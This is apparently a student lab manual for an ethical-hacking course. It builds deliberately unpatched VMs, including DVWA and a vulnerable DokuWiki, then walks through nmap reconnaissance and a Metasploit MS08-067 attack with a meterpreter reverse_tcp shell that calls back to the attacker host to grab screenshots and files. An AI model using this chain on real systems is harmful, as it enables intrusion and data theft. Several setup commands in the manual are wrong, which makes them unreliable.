- In order to get the virtual to respond to the network itself, the local adapter will need to be configured.
- To do so, navigate to the control panel and select 'Network and Sharing Center'.
- From there click ‘Change adapter settings’. Right click the local adapter and click properties.
- Select Internet Protocol Version 4 (TCP/IPv4) and click properties.
- Input the IP address and local DNS of the network.

Step - 7 Joining the Domain

- Under computer properties select
- Computer Name > Change > Type in the domain name set up when configuring the Domain Controller.
- This should be 'lan.project.local'
- If configured correctly it will prompt you for a Domain Administrators credentials in order to join the machine to the domain.
Step 8 - Generating the Network Traffic

In order to make the environment come alive with network traffic for a more realistic experience, a bash script has been written to produce 'arp traffic' (See section 11.2) that would be present on a corporate network in which users would be using every day.

- Update List

No Updates were installed on this machine due to it being a platform for pen testing. It enables the students to further expand their attacks, making sure no patches stand in their way.

Step 8 - Windows 7 setup is complete
5.6. Linux / Unix Configuration

In this section a guide on how to set up all the services that are requiring a Linux Operating system for the tutorial.

It will be comprised of these five services.

- CentOS 6.5 x64
- Ubuntu 12.0.4
- Debian 7.4 Wheezy - DVWA
- Debian 7.4 Wheezy - DokuWiki
- Kali 1.0.5

Each one will provide designated specifically for the environment, and in doing so updates that would otherwise be installed (Specified at the end of each installation manual) will not be for the purpose of the ethical hacking tutorial.
5.6.1. Setting up CentOS DNS Server

Specifications -

- Operating System: CentOS 6.5 Minimal.
- Storage Size: 16GB
- Resources: 1Cpu Cores and 512MB RAM

Minimal install of CentOS will be installed due to it only having the essential packages that can then be built upon in order to create the DNS server for this project. It also saves valuable resources such as hard disk space.

Guest Setup

Step - 1 Create new Virtual Machine

- (See Section 5.5.1) Use specification settings where necessary as shown at the start of section 5.6.1.

Step - 2 Install the Operating System

- Load the disk
- Turn the virtual on
- Connect to the console
- Select 'Install or upgrade an existing system' and click enter
- Select skip when it asks to do a media test
- Welcome screen click 'next'
- Select 'English (English)' from the language select page and click 'next'
- Select 'Basic Storage Devices' and click next.
- Type in the host name of the machine <Claires-pc> and click 'next'
- Select your time zone and click 'next'
- Enter a password and click 'next'
- Select 'Use All Space' and click 'next'
- Varify File system partitions, and click 'next'
- Click format and then click 'Write changes to disk'
- Once complete it will then boot CentOS and allow you to login.

**Step - 3 Configure Networking**

Firstly once the operating system has been loaded, in order to receive updates the virtual machine will be required to be on the network.

To check this we will need to navigate to the /etc/sysconfig/network-scripts/ and within this will be a file called 'ifcfg-eth0'. This holds the network interface configuration, it will have direct access to the internet and will also have DHCP address, therefore to start with, set the 'BOOTPRO' to '=DHCP' so that it allows the virtual to receive a dynamically assigned IP address allowing the virtual to talk to the router in order to get out to the internet for updates.
Step - 4 Install VMware Tools

On the vSphere client go to -

Inventory > Guest > Install / Upgrade VMware Tools

Once complete go to the virtual's console and type in -

```
[root@dns1~]# mount /dev/cdrom /mnt/
[root@dns1~]# tar xvfs /mnt/VMwareTools-*.tar.gz -C /root/
[root@dns1~]# cd /root/VMwareTools-*/VMware-tools-distib
[root@dns1~]#/VMware-install.pl
```

Accept the defaults when installing VMware tools until the installation is complete.

Note - some issues were found during the install of VMware tools, in particular 'perl' as it was missing from the system, the suite complained about the missing packages.

The ‘yum install perl’ function resolved this problem and enabled the tools to start installing.

```
[root@dns1~]# yum install perl
```
Step - 5 Install BIND

Now that the tools have been installed the next step is to install the bind utilities, this will make it possible to make a local DNS server for the rest of the machines on the domain to use.

To install BIND and BIND Utilities type -

```
[root@dns1~]# yum install bind bind-utils -y
```

Step - 5 Setup BIND

Once bind is installed you will want to edit the named.conf file located in /etc/

```
[root@dns1~]# vi /etc/named.conf
```

See Appendix for named.conf configuration

Now that that has been configured we will be wanting to create both the lan.project.local, 1.25.172.in-addr.apra.DNS and also 2.25.172.in-addr.apra.DNS files which will be stored in this directory.

```
[root@dns1~]# cd /var/named/chroot/var/named
```

- lan.project.local will be used as the Forward lookup zone
- 1.25.172.in-addr.apra.DNS will be used as the Reverse lookup zone for the 172.25.1.0/24 Domain network.
- 2.25.172.in-addr.apra.DNS will be used as the Reverse lookup zone for the 172.25.2.0/29 DMZ network.

To create a file type -

```
[root@dns1~]# vi <filename>
```

See Appendix for the zone lookup file configurations
Four records to make sure you have in the forward lookup file, in this case lan.project.local

- _ldap._tcp.lan.project.local. SRV 0 0 389 Serv2012.lan.project.local.
- _kerberos._tcp.lan.project.local. SRV 0 0 88 Serv2012.lan.project.local.
- _ldap._tcp.dc._msdcs.lan.project.local. SRV 0 0 389 Serv2012.lan.project.local.
- _kerberos._tcp.dc._msdcs.lan.project.local. SRV 0 0 88 Serv2012.lan.project.local.

these allow the machines to communicate with the domain controller so that both the Windows XP and Windows 7 machines are able to join the domain.

Once complete restart the named service to make sure, type -

```
[root@dns1~]# service named restart
```

You should get (ok) across the board.

**Step 6 - Configure the Firewall**

See section 9.2 for DNS IP table configuration

**Step 7 - CentOS DNS is complete**
5.6.2. Setting up Ubuntu Client

This section provides the instructions on how to install Ubuntu version 12.0.4 for the purpose of the ethical hacking tutorial. Please note other versions may be different.

![Ubuntu 12.04.03 desktop](image)

_A popular free operating system available on the internet that it is an alternative to Windows._

**Specifications -**

- Operating System: Ubuntu 12.04.03
- Storage Size: 15 GB (Min)
- Resources: 1 CPU Core and 512MB RAM

**Guest Setup**

**Step - 1 Create new Virtual Machine**

- (See Section 5.5.1) Use specification settings where necessary as shown at the start of section 5.6.2.

**Step - 2 Install Operating System**

Install Ubuntu 12.04.03 on ESXi with default settings.
Step - 3 Create NIC

Associate the Virtual NIC onto VLAN 3011 for it to be able to receive updates using the internet connection that is routed into the environment.

Step - 4 Configure Networking

Rename and configure networking to receive DHCP (This comes by default when installing Ubuntu) VLAN 3011 will be transparent to the virtual as the packets will be untagged by the virtual switch it is connected to.

Step - 5 Enable Super-user

Super-user will need to be enabled to be able to install VMware tools onto the system.

In order to do so you will need to set a password for the root user

```
user@claires-pc:~$ sudo passwd root
```

By doing so you will activate the root.

In a normal environment you will not need to activate this but in this case it will be needed.

Step – 6 Install VMware tools

Go to Inventory > Guest > Install VMware tools

This will mount the tools disc

Type in –

```
user@claires-pc:~$ sudo mount /dev/cdrom /mnt
```

This will mount the disc to the /mnt directory.

Change directory to /mnt –

```
user@claires-pc:~$ cd /mnt
```

Then extract the tar file located in /mnt, to do so type -

```
user@claires-pc:~$ sudo tar xzvf VMwareTools-* -C /tmp
```

To auto-complete the name of the file click 'tab'.

84
It will now extract the file to the /tmp/ folder in doing so change directory to the newly created directory within tmp by typing in -

```
user@claires-pc:~$ cd /tmp/VMware-tools-distrib/
```

Note the install requires “perl” if you do not have it installed, you can install it using –

```
user@claires-pc:~$ sudo apt-get install perl
```

To start the install type -

```
user@claires-pc:~$ sudo ./VMware-install.pl -d
```

“./” is used to run the file and the “-d” flag is used to accept all the defaults without being prompted.

**Step - 7 Ubuntu Setup Complete**
5.6.3. Setting up DVWA - Web Server

This section provides the instructions on how to install the DVWA web server version 1.0.8 for the purpose of the ethical hacking tutorial. Please note other versions may be different.

Specifications -

- Operating System: Debian 7.3 Wheezy
- Storage Size: 15 GB (Min)
- Resources: 1 CPU Cores and 1 GB RAM

Guest Setup

Step - 1 Create new Virtual Machine

- (See Section 5.5.1) Use specification settings where necessary as shown at the start of section 5.6.3.

Step - 2 Install Operating System.

Mount the disk within the CD/DVD drive and proceed with the install of the Operating System.

Select from the list -

- Apache2
- Mysql

Deselect - The following options -

- File Sharing

Step - 3 Update the Virtual

Firstly we need to update the operating system -

```
root@dvwa:~# apt-get dist-upgrade
```

Install the compiler and Linux Header with this command -

```
root@dvwa:~# apt-get install build-essential linux-headers-$(uname -r) libglib2.0-0
```
Step - 4 Install VMware tools

Go to Inventory - Guest - Install / Upgrade VMware tools

Mount the VMware Tools disk and extract the files -

```
root@dvwa:~# mount /dev/cdrom /mnt

root@dvwa:~# tar xvfz /mnt/VMwareTools-*.tar.gz -C /root/
```

Run the VMware tools installation file -

```
root@dvwa:~# perl /tmp/VMware-tools-distrib/VMware-install.pl
```

Continue to press enter on all the questions to proceed through the default setup.

Once complete VMware tools has been successfully been installed.

Step - 4 Setting up DVWA

#Note - You will not need to install either apache or mysql before this as it will be installed automatically when setting up the operating system providing it is selected on the main installation screen.

DVWA is a Web server which is designed specifically as a learning environment for students, teachers and professionals who wish to test their skills.

Step - 5 Switch to GUI

Click ctrl + alt + F7

Step - 6 Load Iceweasel (Web browser)

To install this web application, download version - DVWA-1.0.8 from http://www.dvwa.co.uk/

Step - 7 Switch to console

Click ctrl + alt + F2

Step - 8 Install DVWA

Once downloaded it will be located in /home/user1/Downloads/

Type in -

```
root@dvwa:~# unzip /home/user1/Downloads/DVWA-1.0.8.zip
```
This will move the content of the DVWA file to the Web root directory which is /var/www

Once complete load the icewasel web browser and it will need to create the database.

**Step - 9 Database Setup**

In order to give access to apache2 which will then be able to create tables within mysql, we will need to do the following.

**Type -**

```
root@dvwa:~ # mv /home/user1/Downloads/DVWA-1.0.8/* /var/www
```

```
root@dvwa:~ # mysql -u root -p
Enter Password: <Your Password>
```

Create the DVWA Database

```
mysql> CREATE DATABASE dvwa;
```

Create the users "dvwaroot" identified by this password

```
mysql> CREATE USER 'dvwaroot'@'localhost' IDENTIFIED by '<password>';
```

Grant full access to database "dvwa" and it's tables "*" to user "dvwaroot"

```
mysql> GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwaroot'@'localhost';
```

To exit type in "exit"

**Step - 10 Switch to GUI**

Navigate via the web browser to either http://localhost or http://127.0.0.1 both will load the local web page hosted by apache2.
Once you have loaded the webpage, click the "here" button to set up the database. This can be directed to either a local mysql instance or one hosted on another server.

After you click ok to accept the changes the website will configure itself automatically.
Step - 11 Allow remote access.

Next you will need to allow remote access for users to be able to use the system. This will require you to configure the configuration file within the /www directory.

You will also need to open up port 80 on the 'iptables' rules to allow external access for HTTP requests.

In order to configure the iptables type -

```
root@dvwa:~# iptables-save> /root/firewall.rules
```

That will copy the iptable rules to a text document for you to edit.

```
# Configuration can be found in the appendix.
```

Once complete type -

```
root@dvwa:~# /root/firewall.rules > iptables-save
```

This will input the new rules into the Debians iptables configuration.
Step - 12 Changing the login details for admin and other users

from root type in -

```
root@dvwa:~ # mysql -u root -p
```

Enter password: <Your password>

type in -

```
mysql> SHOW databases;
```

this will give you a list of databases, select dvwa

```
mysql> USE dvwa;
```

Show all the users present in the users table -

```
mysql> SELECT * FROM users;
```

Next we need to change the default administrator password from the standard one.

```
mysql> UPDATE users SET password="<MD5 Hash>" WHERE user="admin"
```

This changes the administrator password for DVWA.

Next will be to change the users in the database to represent a more realistic environment.

To do so type -

```
mysql> UPDATE users SET first_name="<firstname>",last_name="<lastname>" WHERE user_id="correspondinguserid";
```

This will change the users in the database, continue to do this for the remainder of the database users.

Next is to rename all the images in the '/var/www/hackable/users/' to correspond to the avatar links in the MySQL database.

Now we need to set 'auto_increment' as it makes it easier to add users at a later stage.
The next time you add a new user, it will add them to the end of the list.

Step - 13 DVWA Setup is complete
5.6.4. Setting up DokuWiki - Web Server

This section provides the instructions on how to install the DokuWiki web server version 2006-03-09 for the purpose of the ethical hacking tutorial. Please note other versions may be different.

Figure 31 - Showing the Dokuwiki webpage

DokuWiki is a website designed to input information, it can be used for many different things such as instruction manuals which is the most common use for it.

Specifications -

- Operating System: Debian 7.3. Wheezy
- Storage Size: 15GB (Min)
- Resources: 1 CPU Cores and 512MB Ram

Guest Setup

Step - 1 Create new Virtual Machine

- (See Section 5.5.1) Use specification settings where necessary as shown at the start of section 5.6.4.

Step - 2 Install Debian (default installation)
Step - 3 Updating the package installers

(See Section 5.6.3) Step

Step - 4 Installing VMware Tools

Go to Inventory > Guest > Install VMware tools

This will mount the tools disc

Type in –

```
root@DokuWiki:~ mount /dev/cdrom /mnt
```

This will mount the disc to the /mnt directory.

Change directory to /mnt –

```
root@DokuWiki:~ cd /mnt
```

To extract the tar file located in /mnt, type -

```
root@DokuWiki:~ tar xzvf VMwaretools-x.x-xxxxx.tar.gz -C /root
```

To auto-complete the name of the file click “tab”.

It will now extract the file to the /tmp/ folder in doing so change directory to the newly created directory within tmp by typing in -

```
root@DokuWiki:~ cd /tmp/VMware-tools-distrib/
```

Note the install requires “perl” if you do not have it installed, you can install it using –

```
root@DokuWiki:~ apt-get install perl
```

To start the install type -

```
root@DokuWiki:~ perl ./VMware-install.pl -d
```

“./” is used to run the file and the “-d” flag is used to accept all the defaults without being prompted.
**Step – 5 Download Dokuwiki**

Click ctrl + alt + F7 to switch to GUI mode.

Login and load iceweasel web browser and navigate to the DokuWiki website and download version 2006-03-09.

**Step - 6 Switch back to console view.**

Click ctrl + alt + F2 to switch to console view.

**Step - 7 Un-tar the downloaded file**

Un-tar the file to the root directory -

```bash
root@DokuWiki:~ tar xvzf /home/user1/Downloads/DokuWiki-2006-03-09.tgz -C /root/
```

This will create a folder called DokuWiki-2006-03-09 in the root directory.

Move the contents of the folder to the Document Root (Webroot)

```bash
root@DokuWiki:~ mv DokuWiki-2006-03-09/* /var/www/
```
Step - 8 Create necessary files

Next you will need to create an empty log file -

```
root@DokuWiki:~ touch /var/www/data/changes.log
```

At this point we will want to use the Access Control functionality so you will need to create the users.auth.php and acl.auth.php files.

```
root@DokuWiki:~ cp /var/www/conf/user.auth.php.dist /var/www/conf/users.auth.php
```

```
root@DokuWiki:~ cp /var/www/conf/acl.auth.php.dist /var/www/conf/acl.auth.php
```

Step - 9 Change the folder and file permissions

Now that you have moved the files you will now want to grant permissions to the ‘webroot’ directory for apache. In order to do this type -

```
root@DokuWiki:~ chown root:www-data /var/www/*
```

Next you will need to set up the correct privileges for these specific files -

```
root@DokuWiki:~ chgrp nogroup /var/www/conf/users.auth.php
```

```
root@DokuWiki:~ chgrp nogroup /var/www/conf/acl.auth.php
```

Next to change the read, write and execute permissions.

```
root@DokuWiki:~ chmod 664 /var/www/conf/users.auth.php
```

```
root@DokuWiki:~ chmod 664 /var/www/conf/acl.auth.php
```

Change the owner of the data directory from the user1 to the person who downloaded the file originally to www-data -

```
root@DokuWiki:~ chown -R root:www-data /var/www/data
```
Now that Dokuwiki has been set up you will need to activate the ACL in order to get a login screen.

Edit the local.php located within the conf directory

```
root@DokuWiki:~ nano /var/www/conf/local.php
```

Within that file edit the section where it says

```
$conf['useacl'] = 0; // this enables the ACL feature
```

to

```
$conf['useacl'] = 1; // this enables the ACL feature
```

This will turn on the login feature for the wikipage.

Next is to add a superuser

```
$conf['superuser'] = '!Not Set!; // admin group is superuser
```

to

```
$conf['superuser'] = '@admin'; // admin group is superuser
```

Save the configuration file

Edit the acl.auth.php file and add/amend these lines -

```
*    @ALL    1
*    @user    4
*    @admins    255
```

Now that the permissions have been set, we need to add a local user as there is no email system and also for the test it is not needed.

To add a user to the user.auth.php file type in -

```
echo admin:$(openssl passwd -1 <password>):Administrator:administrator@DokuWiki.lan.project.l ocal:admin, user >> users.auth.php.dist
```
Item highlighted in red will set the username and a password.

Openssl passwd -l will provide the MD5 hash of the password used for the users on the DokuWiki site.

```
echo admin:$(openssl passwd -l <password>):Administrator:administrator@DokuWiki.lan.project.lan:admin, user >> users.auth.php.dist
```

Item highlighted in red provides information about the user, i.e. the Name and email address.

```
echo admin:$(openssl passwd -l <password>):Administrator:administrator@DokuWiki.lan.project.lan:admin, user >> users.auth.php.dist
```

Item highlighted in red will add the user to that configuration file allowing you to login.

**Step - 10 DokuWiki Setup complete**
5.6.5. Setting up Kali Linux

![Kali Linux](image)

*Figure 32 - Showing the Kali 1.0.5 Linux*

Originally known as Backtrack it will be the machine used to perform the tutorials within the project environment.

**Specifications** -

- Operating System: Kali Linux
- Storage Size: 15 GB (Min)
- Resources: 1 CPU Cores and 2 GB RAM

**Note** - the amount of resources required for the Kali Linux virtual is dependent on the attacks carried out. An example would be password based attacks which would require a lot more resources than is stated here.

**Guest Setup**

**Step - 1 Create new Virtual Machine**

- (See Section 5.5.1) Use specification settings where necessary as shown at the start of section 5.6.5.
Step - 2 Installing Kali

Mount the disk in ESXi and accept the defaults when installing

Step - 3 Assign Real internet facing VLAN (BT Infinity)

This makes sure the system can retrieve the relevant MTN packages.

Step - 4 Updating

In order to make sure the virtual machine runs correctly, when installing any additional software into Kali the priority is to make sure it's up-to-date otherwise you will receive installation failures.

To do so you will need to run the following

```
root@Kali:~# apt-get update
root@Kali:~# apt-get upgrade
root@Kali:~# apt-get distro-upgrade
```

Step - 5 Install VMware tools.

Go to Inventory - Guest - Install / Upgrade VMware tools

Mount the VMware Tools disk and extract the files -

```
root@Kali:~# mount /dev/cdrom /mnt
root@Kali:~# tar xvfz /mnt/VMwareTools-*.tar.gz -C /root
```

Run the VMware tools installation file -

```
root@Kali:~# perl /root/VMware-tools-distrib/VMware-install.pl
```

Continue to press enter on all the questions to proceed through the default setup.

Once complete VMware tools has been successfully been installed.

# Note for further editions of Kali, VMware tools may not support the Linux kernel, in doing so you can install open-vm-toolbox.

Step - 6 Installation Complete
5.7. Summary

Overall this section has covered all of the installation criteria needed for the environment to be up and running. From the installation of the management network all the way to the last virtual environment needed within the tutorial scenario itself. It makes sure that the necessary software is installed and also the system settings are configured to an optimum standard for the tutorial to work correctly.
6. **Tutorial**

There will be two versions of the tutorial booklet. One with the sections of writing highlighted in **Green** which will be the Tutors copy and another version without, that will be given to the students.

In some cases students are given options to either use the GUI interface which is familiar to some, and others may want to use just the terminal interface depending on the skill level they have. In particular the first tutorial requires them to use the terminal interface.
### 6.1. Virtual Machine Identification Table

Fill in the below table with as many hosts as you can find, as this will help you identify and complete the tasks further on in the tutorial.

<table>
<thead>
<tr>
<th>IP Address</th>
<th>Hostname</th>
<th>Broadcast Address</th>
<th>What Subnet is the machine located on?</th>
<th>What ports do they have open?</th>
<th>What services mostly use these ports? Or which operating system is most likely to use these ports</th>
</tr>
</thead>
<tbody>
<tr>
<td>172.25.1.10</td>
<td>serv2012</td>
<td>172.25.1.0 - 172.25.1.63</td>
<td>/ 26 Network</td>
<td>139, 135,445,3389,3269,593, 3268,49175, 389, 49157,49155,49154,4918,636,464,88</td>
<td>Accept either a full list associated with the ports or Windows Server 2008 and above.</td>
</tr>
<tr>
<td>172.25.1.11</td>
<td>ns1</td>
<td>172.25.1.0 - 172.25.1.63</td>
<td>/ 26 Network</td>
<td>53</td>
<td>DNS</td>
</tr>
<tr>
<td>172.25.1.12</td>
<td>DVWA</td>
<td>172.25.1.0 - 172.25.1.63</td>
<td>/ 26 Network</td>
<td>80,22,111</td>
<td>HTTP, SSH, SunRPC</td>
</tr>
<tr>
<td>172.25.1.20</td>
<td>joes-pc</td>
<td>172.25.1.0 - 172.25.1.63</td>
<td>/ 26 Network</td>
<td>135</td>
<td>Accept either a full list associated with the port or Windows Vista / 7 or 8</td>
</tr>
<tr>
<td>172.25.1.21</td>
<td>daves-pc</td>
<td>172.25.1.0 - 172.25.1.63</td>
<td>/ 26 Network</td>
<td>445 and 139</td>
<td>File Sharing</td>
</tr>
<tr>
<td>172.25.1.30</td>
<td>claires-pc</td>
<td>172.25.1.0 - 172.25.1.63</td>
<td>/ 26 Network</td>
<td>None</td>
<td>Unknown</td>
</tr>
<tr>
<td>172.25.2.2</td>
<td>DokuWiki</td>
<td>172.25.2.0 - 172.25.2.7</td>
<td>/ 29 Network</td>
<td>80</td>
<td>HTTP</td>
</tr>
</tbody>
</table>

**Note** - you can often infer the network range by identifying an IP address on the network such as the default gateway together with its corresponding broadcast address. You will also find that not all IP addresses will respond to ‘icmp’ requests so do not assume that they are not in use. Use ‘Zenmap’ or ‘nmap’ to identify those IP addresses you are unsure about.
6.2. Introduction

When accessing the machine for the first time you'll notice it's not that different to any other Linux machine that you may have encountered. The only real difference is that Kali comes equipped with many different tools to help both students, teachers and professionals to learn about the various security flaws in computer and network systems today.

Step - 1 Log on-to the Kali machine

![Figure 33 - Showing the Kali Login Screen](image)

Figure 33 shows the login screen for Kali to login click other and type in the root password given to you by the tutor.
Step - 2 Learning the interfaces

Figure 34 - Showing the Kali Desktop

This is the desktop for Kali. It provides the user with many of the tools necessary for any attacks on a network, in particular the ones that will be used within this tutorial. They can be found under Applications at the top left of the screen as shown in Figure 35

Figure 35 - Showing the Kali tools interface
The main tools we will be using within this tutorial are -

Information Gathering Tools

- Nmap - (Non GUI)
- Zenmap
- tcpdump
- Wireshark

Attacking Tools

- Metasploit
- Manual SQL Injection
- Jack the Ripper (Password Attack)
- Remote PHP Execution
6.3. **Reconnaissance**

Reconnaissance is one of the main tasks to do before performing any penetration testing. From an IT administrator's perspective it will be one of the parts that will be heavily looked at, as this can provide a lot of information about the network before any form of interaction is taken by the attacker. Oxford Dictionary explains it as being the "Preliminary surveying or research" on a specific task.

**Aims -**

At the end of this section of the tutorial you will know about the necessary techniques to be able to -

- Passively identify machines within the network.
- Identify those machines with vulnerabilities.
- Further research on that vulnerability in order to exploit it.

Next is the structure of what will be involved within the tutorial environment.

**What's involved -**

- Network Reconnaissance
  - Identify the virtual machines.
  - Vulnerability Research.
- Performing the Attacks.

Let's get started
Task - 1 Investigate the network structure.

Your task is to find out what network ranges are present within this environment and what IP Addresses are currently being used.

Things you will need to find out are -

- IP Addresses in use
- Netmask Address
- Gateway Address in use

Note - Useful Applications - WireShark or tcpdump

Both have their merits, but WireShark is easier to read and can be found in the following menu -

- Applications > Kali Linux > Sniffing/Spoofing > Network Sniffers > Wireshark

Once you have identified the range in use, open up a terminal and type in -

```
root@Kali:~# nano /etc/networking/interfaces
```

You'll then see the network interface configuration file load.
Within the spaces marked with <IP Address> <Netmask> and <Gateway> fill in the address details. Like Windows, but the difference being there is no 'forgiving' GUI to help you. Use the nano editor or any editor you feel more comfortable and have experience with to fill in the details as a result of what you have found out so far from section 6.3.

Note - Remember to not pick an IP Address that is already in use by the other virtual machines, otherwise the exercise will not work.
**Task 2 - Identifying the IP addresses in use.**

In this task you will identify the virtual machines using the IP addresses found in Task 1 and the table provided in section 6.1.

There are two applications you can use each similar in what they are designed to do, but one is easier to use than the other.

You are free to use either of them if you wish and write all the information you find in the table provided in section 6.1.

**Using nmap (For intermediate users)**

There is a simple tool you can use to find out what type of host is on a particular IP address and also find out what services it's currently running.

For some help on how to use the tool you can type this command in the terminal -

```
root@Kali:~# man nmap
```

This will provide you with a variety of options to increase the amount of detail you wish to receive from the IP Address scan.

Let's see what you can find out.

```
root@Kali:~# nmap -OsV -O --script=banner <IP Address>
```
Using Zenmap (For Beginners)

The tool called Zenmap is exactly the same as Nmap but instead uses a GUI interface for simplicity.

To load it up type the command -

```
root@Kali:~# zenmap
```

This will then open up the GUI interface for Zenmap as shown here -

![Zenmap GUI](image)

*Figure 37 - Showing the Zenmap GUI*

To search an IP, type the IP Address into the Target box at the top left of the Zenmap window. Once done click 'scan' and wait for it to pull the details back about the host with that particular address.

**Note** - Repeat the task until you have information about all the hosts on the network.
Now that you have a good idea of what is on the network, we need to identify which machines would be the perfect target to exploit.

In this next section we have identified vulnerabilities and you are going to investigate further on what they are and how we are going to exploit them.

### 6.3.2. Windows XP Professional

Due to the age of this operating system it is a prime target on a network, and in doing so is a lot more vulnerable to a wide variety of attacks, in particular a remote exploitation attack.

If you perform research on the CVE website it will show you a detailed account of vulnerabilities towards the Microsoft platform, next we need to know if any vulnerabilities affect this perhaps by looking at the open ports.

<table>
<thead>
<tr>
<th>Ports of interest</th>
<th>What are those ports offering?</th>
</tr>
</thead>
<tbody>
<tr>
<td>445 and 139</td>
<td>File Sharing</td>
</tr>
</tbody>
</table>

Let's see if there is any vulnerabilities to that machine we can exploit.
Step 1 - Research Vulnerability

Can you find out what vulnerability the Windows XP Machine has, with a Common Vulnerability and Exposure (CVE) score rating of 10?

- It is a Microsoft Vulnerability
- It was published in 2008
- It is an Exploit

Note - Information regarding vulnerabilities for Windows can be found on the Microsoft's Website or on http://www.cvedetails.com/vendor/26/Microsoft.html

<table>
<thead>
<tr>
<th>Vulnerability Code</th>
<th>MS08-067</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>Remote Code Execution</td>
</tr>
<tr>
<td>Vulnerability Rating</td>
<td>10</td>
</tr>
</tbody>
</table>

Applications that will be used in this tutorial -

- Metasploit

In this exploit you will be using a vulnerability that can be found in a large quantity of Windows XP Machines that are otherwise neglected within a corporate environment, possibly due to software that no longer runs with new updates or due to it being left in a corner... all alone gathering dust. This next example allows the attacker to gain entry into the system and take screenshots, many may be thinking this -

"Surely it depends on what the user is viewing at the time? Otherwise you would just get a desktop background."

In some ways you are correct, but the fact is no one truly has a clean desktop and let's say in this situation the user has no windows open. You will be able to see any personal files on their desktop which will give you an incentive to exploit the machine in order to see those files (See section 6.4.1).
6.3.3. SQL Injection on a 'Damn Vulnerable Web Application'.

Due to the purpose of the DVWA application it is not necessary to do further scans, as it is essentially designed to be attacked in many ways more than one. For this tutorial your focus will be on SQL injection. (See section 6.4.2)

6.3.4. DokuWiki

Step - 1 Research the Vulnerability

Firstly we need to find out what version of DokuWiki the web server is using. One good way to find out is by looking for a way of getting the wiki to tell you this.


There are many different reasons to check the version of a web server, more often than not for a legitimate reason, such as checking for plugins compatible with that, or updates which is a defence against what will be explained shortly.

Fill out the table once the task has been performed.

<table>
<thead>
<tr>
<th>Website Version</th>
<th>2006-03-09</th>
</tr>
</thead>
<tbody>
<tr>
<td>PHP Version</td>
<td>5.4.4-14deb7u7</td>
</tr>
</tbody>
</table>

Now that you have the version of the application, you can now search for a vulnerability

- http://www.hardened-php.net/advisory_042006.119.html

From the above link you will find out that the webpage has a vulnerable 'spellchecker.php' embedded in the web server. Its primary function is to be used as part of the spellchecking functionality that DokuWiki provides, but it also has an interesting flaw in that user input is not properly sanitised before being passed to a function that has the ability to evaluate code. This means input can be carefully constructed to execute arbitrary PHP code on the server. The next question is how do we get to it in order to perform the exploit. (See section 6.4.3)
6.4. Performing the Network Attacks

In this section you will be performing the attacks on the specified hosts. The information gathered in section 6.1 will provide you with the details in order to complete the tutorials. There will be additional tasks for you to perform that will explained on and also challenges for those who would like to learn more at the bottom of each attack tutorial.

6.4.1. Attack 1 - Windows XP Exploit

Introduction

You are going to perform a vulnerability attack, to do so the first test will be to get the information acquired by the Reconnaissance in section 6.3 of this tutorial.

You will require access to the following Machine on the 'Domain network' -

- Kali

Following on from section 6.3 as you are probably familiar with, many people have documents on their desktop. In some cases this can be an interesting exploit as you'll be surprised what people leave lying around on their systems!.

Let's have a look at what we can find on this Windows XP machine.
Step 2 - Load Metasploit

Open the terminal interface -

![Figure 38 -Showing the Kali terminal interface](image)

Within the terminal type -

```
root@Kali:~# msfconsole
```

![Figure 39 - Showing the Metasploit console within the Kali terminal](image)

This will load the Metasploit interface, it grants you the ability to perform remote attacks on vulnerable systems.
Step 3 - Load the Exploit package

Next we need to load the exploit package.

To do so type -

```
msf> use exploit/windows/smb/ms08_067_netapi
```

Step 4 - View minimum requirements

Next you can view what is needed for the exploit to run, type -

```
msf exploit(ms08_067_netapi) > show options
```

```
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>RHOST</td>
<td>yes</td>
<td></td>
<td>The target address</td>
</tr>
<tr>
<td>RPORT</td>
<td>445</td>
<td>yes</td>
<td>Set the SMB service port</td>
</tr>
<tr>
<td>SMBPIPE</td>
<td>BROWSER</td>
<td>yes</td>
<td>The pipe name to use (BROWSER, SRVSVC)</td>
</tr>
</tbody>
</table>

Exploit target:

<table>
<thead>
<tr>
<th>Id</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td></td>
</tr>
</tbody>
</table>

`Automatic Targeting`

*Figure 40 - Showing the exploit options*

This will show you what is required as a minimum before the exploit can take place.

RHOST Specifies the name or IP address of the machine in question, i.e. the Windows XP victim we want to attack. RPORT and SNBPIP are options that cannot be changed and they indicate the port used to send the exploit and also specify the type of connection used.

Next you need to specify the IP of the victim you are trying to attack.
Step 5 - Specify the Victims IP Address

Next you need to specify the victims IP address, to do so type -

```
msf exploit(ms08_067_netapi) > set RHOST 172.25.1.21
```

Step 6 - Load the Payload

The next step is to load the payload, to do so type -

```
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
```

The 'reverse_tcp' payload executes a reverse shell on the Windows XP Machine, this module then connects back to the Metasploit machine (your machine) to the default port 4444. It will then allow Kali to take control of the victim therefore allowing Metasploit to connect directly to the machine itself in turn achieving 'system level privileges'

Step 7 - Specify Attacker's IP Address

In order to specify the attacker's IP address you will need to set the LHOST configuration which will be the IP address of the machine you are using to initiate the attack, to do so type -

```
msf exploit(ms08_067_netapi) > set LHOST 172.25.1.5
```

This allows you to set the IP of the machine you are connecting back to. After entering the host IP Address, you are ready to start the exploit.

Step 8 - Commence the Attack

In order to start the attack type -

```
msf exploit(ms08_067_netapi) > exploit
```

This opens the session from here you can perform a simple task to make sure the attack worked successfully.
Step 9 - Verify a successful connection

To verify that you are on the system type in -

```
meterpreter > sysinfo
```

This command will show you the system information, as you can see it will provide you information about the Windows XP machine.

Step 10 - View the desktop

Now that you are connected to the machine, you can now take a screen shot and have it save locally on the Kali machine, to do so type -

```
meterpreter > screenshot
```

This will then save a file within the root directory containing the screenshot of the victims system.

Files can be found by going to Places > Computer > File System > Root

**Question** - Which files look of interest on the victims desktop?

| FileName                     | Virtual machine details.eml |

Step 11 - Open the Exploit shell

To open up a Administrator shell type -

```
meterpreter > shell
```

You'll notice for those who are familiar with the windows command line, it's now opened a shell (See section 11.2) to the system32 which means you now have system privileges throughout the Windows XP Machine.

This will open a shell interface to the system, granting you the ability to navigate around the system to expose files and directories that would otherwise be impossible to get to.
Task

Now that you are on the system itself, we want you to find the information with the text files located in the screenshot taken in the previous task.

The task is to find out what is hidden within the files located on 'daves-pc' desktop.

